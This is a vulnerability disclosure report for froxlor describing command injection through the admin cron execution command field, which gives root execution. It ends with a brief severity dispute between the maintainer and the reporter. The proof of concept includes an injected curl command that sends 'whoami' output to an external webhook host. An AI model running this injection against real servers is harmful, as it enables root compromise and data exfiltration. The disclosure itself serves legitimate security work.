Cron execution command field allows attackers with admin privilege to execute OS command as root in froxlor/froxlor
Reported on
Dec 19th 2022
Description
Cron execution commandvalue is written into cronfile without any security protection mechanism.- If an attacker gained admin access, he/she can run OS command as root.
Proof of Concept
1/ Navigate to http://webserver/froxlor/admin_settings.php?page=overview&part=crond
2/ In the Cron execution command field. Paste in a command following with a semicolon. For example:
curl http://<your webhook site>/`whoami`;
3/ Cronfile on the server is updated after some minutes
4/ The whoami command is executed and returned root user
Impact
If an attacker has admin access, he/she can execute OS command as root on the server.
Please read our security policy, only reports for the upcoming version 2 can be processed
and by NO means is that a CRITICAL severity as you have to have administrative privileges
Thanks for your feedback. I have updated the report. The reason I thought it was a critical severity is because an attacker can fully compromise the system if successfully exploit this vulnerability.